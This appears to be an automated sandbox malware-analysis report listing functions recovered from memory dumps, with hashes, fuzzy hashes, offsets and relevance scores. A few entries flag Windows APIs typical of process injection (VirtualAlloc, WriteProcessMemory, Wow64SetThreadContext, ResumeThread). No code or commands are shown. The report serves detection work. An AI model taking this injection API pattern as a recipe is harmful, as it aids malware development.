API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e57394893230ad01addd8468a908015ca9b8bdcf13c55fad9e6b7026b32a4cf4
Instruction ID: 59dd4a9106d69d56e606e7c3c74148f1862b16e40d4656b347118a03d615e6aa
Opcode Fuzzy Hash: e57394893230ad01addd8468a908015ca9b8bdcf13c55fad9e6b7026b32a4cf4
Instruction Fuzzy Hash: A14158B0D05618CFCB50CFA9C88579EBBF9EF49314F148569E815AB340DB749849CF85

Uniqueness

Uniqueness Score: -1.00%

Function 03030774, Relevance: 1.6, APIs: 1, Instructions: 99libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?), ref: 030382DF

Memory Dump Source

Source File: 00000013.00000002.405783801.0000000003030000.00000040.00000001.sdmp, Offset: 03030000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d900caa9c87123b40c37640d330cee1546bed46dd9ecd4fc9d681088938d4f45
Instruction ID: a2ead33ae16af55e360c3c817a15d19ac12d3e54abdfdf34aedc6cb9f57849d1
Opcode Fuzzy Hash: d900caa9c87123b40c37640d330cee1546bed46dd9ecd4fc9d681088938d4f45
Instruction Fuzzy Hash: BB4155B0E05618CFCB10CFA9C88479EBBF9EB49314F148569E815AB380DB749849CF86

Uniqueness

Uniqueness Score: -1.00%

Function 030BC490, Relevance: 1.6, Strings: 1, Instructions: 327COMMON

Download Yara Rule

Strings

d, xrefs: 030BC737

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: cf33a47523e0274c16a62832089ee50666ef1d75fb70b0b53a06b917107df92f
Instruction ID: 3f5e28a8542576e5bae48c4be55c67a68a4f3c31a7a8da18cb72c3bc52a8ad6d
Opcode Fuzzy Hash: cf33a47523e0274c16a62832089ee50666ef1d75fb70b0b53a06b917107df92f
Instruction Fuzzy Hash: CED18D31601606CFC711CF58C580DAAFBFAFF85314B5ACAAAD45A8B6A1D730F855CB80

Uniqueness

Uniqueness Score: -1.00%

Function 030384D8, Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0303854C

Memory Dump Source

Source File: 00000013.00000002.405783801.0000000003030000.00000040.00000001.sdmp, Offset: 03030000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5703859e3b8c666f2b114ba3d88baf3d2b1789b8160f279edad7ca4381020916
Instruction ID: 1931e9a0cb949be8fb523948b97b7cdbdf8f9a07a7600d3b11a36207db26a7ad
Opcode Fuzzy Hash: 5703859e3b8c666f2b114ba3d88baf3d2b1789b8160f279edad7ca4381020916
Instruction Fuzzy Hash: 0611F7719002089FCB10DFAAC884BDFFBF9AF88224F54882AD519A7250D774A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 056BF580, Relevance: 1.6, APIs: 1, Instructions: 56injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 056BF5EE

Memory Dump Source

Source File: 00000013.00000002.409462339.00000000056B0000.00000040.00000001.sdmp, Offset: 056B0000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 7e273506703aa8599585a46fb722b4c2dc2c2ff4aa3d25ab6ab9ed386d1a14a8
Instruction ID: e6c037244fe5bc232a47d24bd4f46a7fc957940fc17c2f7098c3e6828f02528a
Opcode Fuzzy Hash: 7e273506703aa8599585a46fb722b4c2dc2c2ff4aa3d25ab6ab9ed386d1a14a8
Instruction Fuzzy Hash: E81156728002099FDB10CFA9C844BEFBBF5EF88324F148829D915A7250D779A994DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 056BF730, Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 056BF795

Memory Dump Source

Source File: 00000013.00000002.409462339.00000000056B0000.00000040.00000001.sdmp, Offset: 056B0000, based on PE: false

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 076ca2b4ae49b35e38452f81255770acbf6b92f810a68c0c2ebfc29e98ae48c1
Instruction ID: fa29ebeed6b5895c1567b08ed0d4e64c5a81c6fcb5284ecd80a1505c2c44ac9e
Opcode Fuzzy Hash: 076ca2b4ae49b35e38452f81255770acbf6b92f810a68c0c2ebfc29e98ae48c1
Instruction Fuzzy Hash: 5E1149718003098FDB10DFA9C8447EFFBF5AF88224F148829D515A7740DB78A584CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 056BF970, Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 056BF9D2

Memory Dump Source

Source File: 00000013.00000002.409462339.00000000056B0000.00000040.00000001.sdmp, Offset: 056B0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 33b1fe4a6ebf73f192300642c5c59745d071698baa20d342e54be0d7ab7665fd
Instruction ID: ace2350ac6e355366ae39612edffac0b71ef33c4cb14741e6b39095acedfbb23
Opcode Fuzzy Hash: 33b1fe4a6ebf73f192300642c5c59745d071698baa20d342e54be0d7ab7665fd
Instruction Fuzzy Hash: 15113A719003488BDB10DFAAC8447EFFBF9AF88224F14882AC515A7350D774A944CF94

Uniqueness

Uniqueness Score: -1.00%

Function 030B75F0, Relevance: 1.5, Strings: 1, Instructions: 290COMMON

Download Yara Rule

Strings

d, xrefs: 030B7851

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 1442b96bae50f78fa95d130f87af4e27b49572cfe44de4ab2dd79ea94866dc0f
Instruction ID: 6baa60b44da4c43bc2ea4b7bddfcc9fd3054a4f321afba85dc2e294a45ada6da
Opcode Fuzzy Hash: 1442b96bae50f78fa95d130f87af4e27b49572cfe44de4ab2dd79ea94866dc0f
Instruction Fuzzy Hash: BEC158346016068FCB14CF58C4809AABBF6FFC8714B5AC999D55A8B765DB31F842CF90

Uniqueness

Uniqueness Score: -1.00%

Function 030B5E98, Relevance: 1.5, Strings: 1, Instructions: 265COMMON

Download Yara Rule

Strings

@ ]m, xrefs: 030B5ED0

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID: @ ]m
API String ID: 0-3188457277
Opcode ID: 7cf0b421a5effdcf0c33d9b9ef71202bae65aeb31453984f074d61e008bee34b
Instruction ID: 8a11c85ac6c852eac7b87afc1f27a36d3ebca012798a252b8f24c659479bfee4
Opcode Fuzzy Hash: 7cf0b421a5effdcf0c33d9b9ef71202bae65aeb31453984f074d61e008bee34b
Instruction Fuzzy Hash: A2A15B34B112098FC719DF79C894AAEBBF6BF89314B1584A9E506DB361DB32EC41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 030B7C18, Relevance: 1.4, Strings: 1, Instructions: 161COMMON

Download Yara Rule

Strings

]m, xrefs: 030B7C48

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID: ]m
API String ID: 0-788822378
Opcode ID: 52e9a7ee76473752aa8578a5e77ef0ae768cb83efd8dd6323468827734df861d
Instruction ID: c37ff1cffc360e96722385081cdd9e4d467360e912a1ec57701efbb40a211e25
Opcode Fuzzy Hash: 52e9a7ee76473752aa8578a5e77ef0ae768cb83efd8dd6323468827734df861d
Instruction Fuzzy Hash: AF51B031B012098FCB54DF79D8849EEBBF5EF89254B1988AAD505DB322D731EC41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 056831F0, Relevance: 1.4, Strings: 1, Instructions: 134COMMON

Download Yara Rule

Strings

]m, xrefs: 056832E0

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID: ]m
API String ID: 0-788822378
Opcode ID: 5c7be60ef688d7469e354f0ac45d2c64b0f2bc0d7ba8acbeedef8d1062a2ebea
Instruction ID: 734c1b5e367d13fcba3ac25a81790d9977389360aa2d17ec6760da0fd52cff16
Opcode Fuzzy Hash: 5c7be60ef688d7469e354f0ac45d2c64b0f2bc0d7ba8acbeedef8d1062a2ebea
Instruction Fuzzy Hash: 55519EB4A017469FC704DF68C4848AEBBF2FF99314B1589AAD4098B326DB31ED45CF90

Uniqueness

Uniqueness Score: -1.00%

Function 05683200, Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

]m, xrefs: 056832E0

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID: ]m
API String ID: 0-788822378
Opcode ID: 8ebc65bb46b8aadc4b4074f437baa1b88025a80ce3a9892bfcebaf843576b681
Instruction ID: 79f777f7d1379c84237f6a5a522a7e853719b4a644ac44e8319038e291ebe6fe
Opcode Fuzzy Hash: 8ebc65bb46b8aadc4b4074f437baa1b88025a80ce3a9892bfcebaf843576b681
Instruction Fuzzy Hash: B0516DB5A017059FC704DF68C4848AEBBF2FF99314B158AA9D4498B326DB31ED45CF90

Uniqueness

Uniqueness Score: -1.00%

Function 03038F78, Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 03038FE3

Memory Dump Source

Source File: 00000013.00000002.405783801.0000000003030000.00000040.00000001.sdmp, Offset: 03030000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5a2b19d729999b55545c5c5e1b01db46251e71bbe5ce00e8193ec608e2a41bf7
Instruction ID: 3a26c490ea678e3205a41ba1dd4e7c72079f0c6f759a22547d805437214ca405
Opcode Fuzzy Hash: 5a2b19d729999b55545c5c5e1b01db46251e71bbe5ce00e8193ec608e2a41bf7
Instruction Fuzzy Hash: C61119719003099FCB10DFA9C844BEFFBF9AF88324F148829E515A7250D775A554CF94

Uniqueness

Uniqueness Score: -1.00%

Function 030B64D8, Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6d514e57dab914b81d49b7debf2b7a8cd1f0f7db644eef247f0f246f2f46a8b
Instruction ID: 617be5fbc275d287cab47fca9c9181a50f948acbc783a299ba92c9b71515256f
Opcode Fuzzy Hash: a6d514e57dab914b81d49b7debf2b7a8cd1f0f7db644eef247f0f246f2f46a8b
Instruction Fuzzy Hash: 041235347016098FCB54DF29C498AAABBF6FF89204B1584A9E506CB376DB36EC45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 030BB2D8, Relevance: .4, Instructions: 415COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 441f6236f0fd5440b85dd9d0f1e1d6f160b714b0b0db49eb53e34c9efb5617d0
Instruction ID: 24e9face7c4a04fc0e816341b01efb59abdd4b795b59130723d8724a83a20f6f
Opcode Fuzzy Hash: 441f6236f0fd5440b85dd9d0f1e1d6f160b714b0b0db49eb53e34c9efb5617d0
Instruction Fuzzy Hash: A5E1BD30B1120A9BCB61DFA9D9506EEB7FAFF84644B148929D40ADB344EF35DC458F90

Uniqueness

Uniqueness Score: -1.00%

Function 05684408, Relevance: .4, Instructions: 399COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f836ef562be958b7d99da47e97dd3e80eed3e0dffda85e5d0642b4558778c6ca
Instruction ID: 7046533f7086bc4e72b3b49d47c0451c8954bb4b1028c3f967129024e7cda350
Opcode Fuzzy Hash: f836ef562be958b7d99da47e97dd3e80eed3e0dffda85e5d0642b4558778c6ca
Instruction Fuzzy Hash: 54F16A347046058FCB54EF2AC488AAABBF2FF85215F1985AAE546CB771CB35EC40CB41

Uniqueness

Uniqueness Score: -1.00%

Function 030BAC08, Relevance: .4, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a8889906c7d62c7a151ad40dc6e34e87c2d9e415f4949147d716ac0f63c2216
Instruction ID: bcfea084e8acc007b071a9256a525d2b390b9e1084dceb07b70a4808d424099f
Opcode Fuzzy Hash: 1a8889906c7d62c7a151ad40dc6e34e87c2d9e415f4949147d716ac0f63c2216
Instruction Fuzzy Hash: CCD1B371F122569FCB65CBA8C4006AEF7F6AF88610F19886AD856DB354DB30CC41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 030BCC08, Relevance: .3, Instructions: 340COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68fbd06896547a338a4465d8dcc2c4a7c70958145ec6a593963ec5c091fe4f43
Instruction ID: cd1bc2dbe4e07e920ce5fb17584988250ef51975f752582ea10f13ffb688c4cf
Opcode Fuzzy Hash: 68fbd06896547a338a4465d8dcc2c4a7c70958145ec6a593963ec5c091fe4f43
Instruction Fuzzy Hash: 10B1C1317026199FE714DBA9D4506EB77FEEF84214B1888BAE506CB354EB71DC01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 030BE988, Relevance: .3, Instructions: 299COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7739edf74b5a8e160c0fbb887700e73f33d0c3ef33bf9efe2528f2c250a6d972
Instruction ID: b789c0da9f6acf2f11f06a85c7dd4b65a4c77eb392c67aa84c8f62e87758b971
Opcode Fuzzy Hash: 7739edf74b5a8e160c0fbb887700e73f33d0c3ef33bf9efe2528f2c250a6d972
Instruction Fuzzy Hash: A4B18D30702A018FDB64CF69E4546EAB7F5EF84240B184C2AE487C7391EB79ED45CB62

Uniqueness

Uniqueness Score: -1.00%

Function 05681D18, Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93d578ca8674370a4168bcfc5bd625f9ebe999ecc77778de0b208e07cbe6fc96
Instruction ID: 42eccb7aca54cab638935c6ad151bc803b1ff434f33dd382f2558087a8814558
Opcode Fuzzy Hash: 93d578ca8674370a4168bcfc5bd625f9ebe999ecc77778de0b208e07cbe6fc96
Instruction Fuzzy Hash: ACB1A2307066048FD325EB68D054AB6B7F3FF82215B19C69AE44ACB766DB31EC42CB50

Uniqueness

Uniqueness Score: -1.00%

Function 030B0AA8, Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f61817b5d1248cecf6174dd1e82f144eecfd75d11d8a080e21751f65d3a98dc
Instruction ID: e81b72937cea40a3b845bd629929a6881326f6e8b90ad2ea2033fa4d48c78059
Opcode Fuzzy Hash: 2f61817b5d1248cecf6174dd1e82f144eecfd75d11d8a080e21751f65d3a98dc
Instruction Fuzzy Hash: 5E91832070A105CFEAA5D7A888649EF77FA9FD214871988B69516CF2B4FF20DC418763

Uniqueness

Uniqueness Score: -1.00%

Function 056877AD, Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 741c6f1a51efd27f8b537c8c6e2621ce35ff00715b109ed0b6fe911c37a75cbb
Instruction ID: e9210bdea25492b2968189b72b8e01e4a2749c7add7a83ba8fc2e9dbf382f406
Opcode Fuzzy Hash: 741c6f1a51efd27f8b537c8c6e2621ce35ff00715b109ed0b6fe911c37a75cbb
Instruction Fuzzy Hash: 12A1C2B2E002049FCB54EF64C891BB9BBB2FF95204F788269D406D7755EB36E941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05683F92, Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a5d523f7ab8d4143c5be10d16a666828160410e420caa1bd4a1ed0263991b33
Instruction ID: 323201d869053204f84f6975a371cf696a6f0a3d1ccf74b76d37767424c9f0fa
Opcode Fuzzy Hash: 2a5d523f7ab8d4143c5be10d16a666828160410e420caa1bd4a1ed0263991b33
Instruction Fuzzy Hash: A9A15F34B046098FCB14EFA5C5549AEBBF6FF99309B148569D8069B364EF31EC02CB91

Uniqueness

Uniqueness Score: -1.00%

Function 030BD710, Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8769f906b4ec2821c1c22026999d669953750787feca72de5930829eccd18e71
Instruction ID: 65adbec08ced4c9f74c98ba1629e87c49ca7203b3d27334a2ce7c00171878349
Opcode Fuzzy Hash: 8769f906b4ec2821c1c22026999d669953750787feca72de5930829eccd18e71
Instruction Fuzzy Hash: BF818C35B016048FD714DF79D554AAEB7FAEFC8214B1984AAE50ACB365EB31EC01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0568776A, Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 709686bf967cb5dfc856b61acbd32f1d08370a722d731e1e9b47dc924838fa8f
Instruction ID: 8788824bfce5ed6c532faf7a4c558473979f316778f6ee1f70bacab7f32ca941
Opcode Fuzzy Hash: 709686bf967cb5dfc856b61acbd32f1d08370a722d731e1e9b47dc924838fa8f
Instruction Fuzzy Hash: A59108B2E012049FCB15EFA4D884ABEBBB2FF98304F68815AE505D7355DB32E841CB50

Uniqueness

Uniqueness Score: -1.00%

Function 030B6280, Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01cbd98ba912a40e82bc84dec10c39ca59ed6f14c921c4ba827bcb976c12b471
Instruction ID: 8c2271b5a479fd6c6c8586fc6463c0427030050570e6f5a74d89dab46dbbe450
Opcode Fuzzy Hash: 01cbd98ba912a40e82bc84dec10c39ca59ed6f14c921c4ba827bcb976c12b471
Instruction Fuzzy Hash: 0D7191307016148FC718EB79D458A69BBFAEF8A61471944AAE146CF3B1DF76DC01CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0568B658, Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ca2fc4fa14ff76ea3e5a6636d493a4ae50b3b5b30738cf34133b9b267051c92
Instruction ID: 08ebfc6de9c4bbf37067769b3702fe31b4157a3e9c56efedad5856a5d16ca2fe
Opcode Fuzzy Hash: 1ca2fc4fa14ff76ea3e5a6636d493a4ae50b3b5b30738cf34133b9b267051c92
Instruction Fuzzy Hash: 40A105B4B04645EFCB45EF69C484D6ABBB2FF49320B16C596E84A9B362C770EC41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 05684FE8, Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e88805271c19ebcb854d5b370a2e946406a099b47e84c10b17cd58d799ea5476
Instruction ID: b13f6f1fdb9eb7ffae906fe8b621843d2e89ffc2798c82a81e0c54927018c850
Opcode Fuzzy Hash: e88805271c19ebcb854d5b370a2e946406a099b47e84c10b17cd58d799ea5476
Instruction Fuzzy Hash: 59A15B34A002049FDB24DF68C598EA9B7F6FF98310F1985A9D44A9F365DB71EC80CB51

Uniqueness

Uniqueness Score: -1.00%

Function 030B6D30, Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ea55abcf7ec2d0633194adc01d19390be61606254d9d448a7ebe311ed1a1ce7
Instruction ID: f8ca89b7ae62107b76b5df6af50535646ab7e11372741740f20bf679aee5ffe9
Opcode Fuzzy Hash: 5ea55abcf7ec2d0633194adc01d19390be61606254d9d448a7ebe311ed1a1ce7
Instruction Fuzzy Hash: 14818D35B012199FCB11DF68C8849AEBBF6FF89250B1584AAE815EB361D731EC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0568B930, Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccbf78ed88e518c3e6922b2c54db2b329e9e3e1b8be716e78a313bf1c745759b
Instruction ID: 33149d35e2b597b43eae804283912fef18bbf2bd3b74cec8ddee2ec208b40bb9
Opcode Fuzzy Hash: ccbf78ed88e518c3e6922b2c54db2b329e9e3e1b8be716e78a313bf1c745759b
Instruction Fuzzy Hash: B161F431B05344DFCB15DF68C4809BABBB6FF86310B1585AAE9559B362CB31EC45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 030B5B69, Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8360afc3f2a547247ee5187a5b04b91619c0f63b16e46dd073635e465d528ab
Instruction ID: 2ffc45e88e5ca37c19a655dc030de2a2197801975384d8dfa446644060806252
Opcode Fuzzy Hash: e8360afc3f2a547247ee5187a5b04b91619c0f63b16e46dd073635e465d528ab
Instruction Fuzzy Hash: 06617330B026198FCB54DFA9D854AEEB7F6BF89604B1985AAD505EB354EB30DC01CF90

Uniqueness

Uniqueness Score: -1.00%

Function 056836F0, Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3e248b71328c7d121884966a8f7ac1b5d3638d68f35c9cdcc5854fa5a694b19
Instruction ID: af882b57d6a1c159125badd0410cd76ad206e0a94aefc31f3f6ce89afd197958
Opcode Fuzzy Hash: f3e248b71328c7d121884966a8f7ac1b5d3638d68f35c9cdcc5854fa5a694b19
Instruction Fuzzy Hash: 4F615A75B00604DFDB28EF65D898AADB7F6BF88610F108969E416EB750DB30EC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 030BDC67, Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 685ef7a894f2c0b549c2c9f63049f4064bfaf0c8f923d6e51ef59bc9dd135b95
Instruction ID: 75b77851be55b217653d4446056be6464fc927717bbdac0e03380fe67679f505
Opcode Fuzzy Hash: 685ef7a894f2c0b549c2c9f63049f4064bfaf0c8f923d6e51ef59bc9dd135b95
Instruction Fuzzy Hash: 86515B38B112059FDB19EF65D8687BEBBF6EBC8300F54802AE906D7394DB349C018B91

Uniqueness

Uniqueness Score: -1.00%

Function 056878A8, Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20cbd373f281b20c55a9dd048167e25ceb963189d3080d1e551e8fbeb54e85cd
Instruction ID: a290d3c838b18fe5e9bd7123c670bc33b5c8d0ad46ff6b09575e688d7e1062ec
Opcode Fuzzy Hash: 20cbd373f281b20c55a9dd048167e25ceb963189d3080d1e551e8fbeb54e85cd
Instruction Fuzzy Hash: A2613B34A01708DFDB14EFA9D844AAEBBF6FF88310F24846AE506A7355DB35AD41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 030BD000, Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11c968fb86032ddb078a72b9b57d02470865e0fe6f41d0d263830a81704b42b1
Instruction ID: 28940123580b4dbd261342976fe90827dc1eeabdf9c9b73811dcf29ac65c7759
Opcode Fuzzy Hash: 11c968fb86032ddb078a72b9b57d02470865e0fe6f41d0d263830a81704b42b1
Instruction Fuzzy Hash: C851B134B166069BDB64DEB984543EBF7FBAB85204F184C7AD502CB344EB34DC828B91

Uniqueness

Uniqueness Score: -1.00%

Function 030BCAA8, Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a03ff95234d1314d41ce37177697a2e1b47eebcf544c4af14981a8b25e72fc29
Instruction ID: 662403a3a93c3bcd14cb852c444f8c1f40b9ec21ea341ff327b71355fe6bb0e9
Opcode Fuzzy Hash: a03ff95234d1314d41ce37177697a2e1b47eebcf544c4af14981a8b25e72fc29
Instruction Fuzzy Hash: 69515A74A0160A8FDB24CFA8C4C4EAABBF9FF88314F14C569D5158B2A5D730E955CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0568C232, Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa08b80a88a74868f5d963ed420c42dd8f24e56f76282d57b42e4feeccf125ba
Instruction ID: 1c1b7f5a2f78fd98f9a1f50f88b6528e19b6ad735a0e0af2c7f4663aebfa6670
Opcode Fuzzy Hash: fa08b80a88a74868f5d963ed420c42dd8f24e56f76282d57b42e4feeccf125ba
Instruction Fuzzy Hash: E3515C34A002058FDB18EF64D598ABE7BF6FF89345F148569E406EB361DB359C42CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0568BC7A, Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7c4521bbd18c53e96ad134a6003f8bbbc36304bc1b0ce62ea4b7c0c081c645c
Instruction ID: b62e475135da7b59ff6c46e26e7d0136ba9012be58af9646e8c4b5304509ae63
Opcode Fuzzy Hash: f7c4521bbd18c53e96ad134a6003f8bbbc36304bc1b0ce62ea4b7c0c081c645c
Instruction Fuzzy Hash: 1E51AE35A04645AFCB11DF69C884EBABBF2FF45320F158659E856DB3A1C734E940CB50

Uniqueness

Uniqueness Score: -1.00%

Function 05681AA0, Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12b9ab940af65078d20a5aa1134357787180b75822d111312e7c08b341698e94
Instruction ID: 0a29f26196479df64708db97eb6c2bb0972d2e1a7fe12982fb573e49b15f45ab
Opcode Fuzzy Hash: 12b9ab940af65078d20a5aa1134357787180b75822d111312e7c08b341698e94
Instruction Fuzzy Hash: EA41B330308A019FD735AAB6940067B77EBAF96614F184B2AE447C7784EB38D883CB11

Uniqueness

Uniqueness Score: -1.00%

Function 0568B4F8, Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1431a26859cf36e866a3a7b935de942c220306315318fa317cfe22f311b05f07
Instruction ID: 4a079056df9c3150410fcc34c17ad1b1866d590a8b8e5183d5462a294cd0185b
Opcode Fuzzy Hash: 1431a26859cf36e866a3a7b935de942c220306315318fa317cfe22f311b05f07
